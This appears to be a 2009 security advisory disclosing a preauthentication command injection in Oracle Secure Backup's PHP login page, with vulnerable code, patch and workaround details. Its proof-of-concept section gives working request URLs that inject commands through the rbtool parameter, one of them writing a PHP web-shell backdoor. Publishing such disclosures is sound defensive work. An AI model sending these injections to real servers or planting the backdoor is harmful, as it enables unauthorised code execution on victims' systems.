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Oracle Secure Backup 10g Remote Code Execution



Hi,

Happy new year! Attached goes and advisory for one of the recently fixed
Oracle vulnerabilities in the product Oracle Secure Backup.

Regards,
Joxean Koret


Oracle Secure Backup 10g Remote Code Execution
==============================================

Product Description
===================

Oracle Secure Backup is a centralized tape backup management software providing
secure data protection for heterogeneous file systems and the Oracle Database.

Summary
=======

The Oracle January 2009 Critical Patch Update fixes a vulnerability which
allows a remote preauthenticated attacker to execute arbitrary code in the
context of the user running the web server of Oracle Secure Backup.

In Windows environments, the vulnerability allows execution of arbitrary code as
SYSTEM. In Unix and GNU/Linux environments, however, just as a normal user
(oracle usually).

CVSS2 Risk Score
================

Microsoft Windows: 10
Linux and Unix   :  7,5

Affected versions
=================

Oracle Secure Backup version 10.1.0.3 to 10.2.0.2 in all supported operating systems
are affected.

Vulnerability Details
=====================

Oracle Secure Backup comes with one PHP based frontend which is vulnerable to a
variable poisoning attack regardless if the PHP directive register_globals is 
enabled or not.

Internally, all the variables passed to the script login.php are converted to global
variables in the file $ROOT\php\globals.php. Any variable regarding or regardless the
method used to send the query will be registered as a global variable.

From the login script called "login.php" the tool "obt.exe" is executed with a popen
call passing arguments received from the client. These arguments are not sanitized
nor verified and it allows post-authentication remote command execution BUT due to a
logic failure in the script "login.php" when the variable "clear" has the value "no"
and other variables (that supposedly comes from a cookie) are set anyone can execute
operating system command from remote without being authenticated. The vulnerable code
is the following:

(...)
    if (strlen($ora_osb_bgcookie) > 0 && $button == "Logout")
      {
      // Turn DEBUG_EXEC to off
      $tmp = $DEBUG_EXEC;
      $DEBUG_EXEC = "no";

      // Teminate the connection.
      $qr_command = "$rbtool --terminate $ora_osb_bgcookie-$ora_osb_lcookie";
      $msg = exec_qr("$qr_command");

      if (strncmp($msg[0], "Error:", 6))
        {
        // Set the cookie up.
        setcookie("ora_osb_bgcookie", "");
        setcookie("ora_osb_lcookie", "");
        $ora_osb_bgcookie = "";
        }

      // Reset DEBUG_EXEC.
      $DEBUG_EXEC = $dtmp;
      }
    header("Location: /login.php?clear=yes");
    }
(...)

The function "exec_qr" internally calls the function PHP function "popen" to execute
a command. The $rbtool variable, abusing from the variable poisoning attack, can be
changed to, in example, /bin/sh or cmd.exe to execute arbitrary commands without the
need for a user name or password, just with network access to the Oracle Secure Backup
Web server. In fact, the script thinks that we're doing a logout.

Proof of Concept
================

* Create a file in the directory "c:\"

https://<target>/login.php?clear=no&ora_osb_lcookie=aa&ora_osb_bgcookie=bb&button=Logout&rbtool=cmd.exe+/c+echo+hello+world+%3E+c:\oracle.secure.backup.txt+;

* Create a PHP backdoor

https://<target>/login.php?clear=no&ora_osb_lcookie=aa&ora_osb_bgcookie=bb&button=Logout&rbtool=cmd.exe+/c+echo+%22%3C%3Fphp+print(shell_exec(%24_GET%5B'a'%5D))%3B+%3F%3E%22+%3E+test.php%3B%26%26+echo

Workaround
==========

Disable the web server.

Patch information
=================

Oracle fixed the vulnerability in version 10.2.0.3 of Oracle Secure Backup.

Contact Information
===================

The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com

References
==========

Oracle Secure Backup exec_qr() Command Injection Vulnerability:
http://www.zerodayinitiative.com/advisories/ZDI-09-003/

Oracle Critical Patch Update January 2009:
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html

Permanent Version of the advisory:
http://joxeankoret.com/blog/?p=39

Professional Web:
http://www.joxeankoret.com

Personal Blog:
http://www.joxeankoret.com/blog

Disclaimer
==========

The information in this advisory and any of its demonstrations is provided "as is"
without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of using the
information or demonstrations provided in any part of this advisory.

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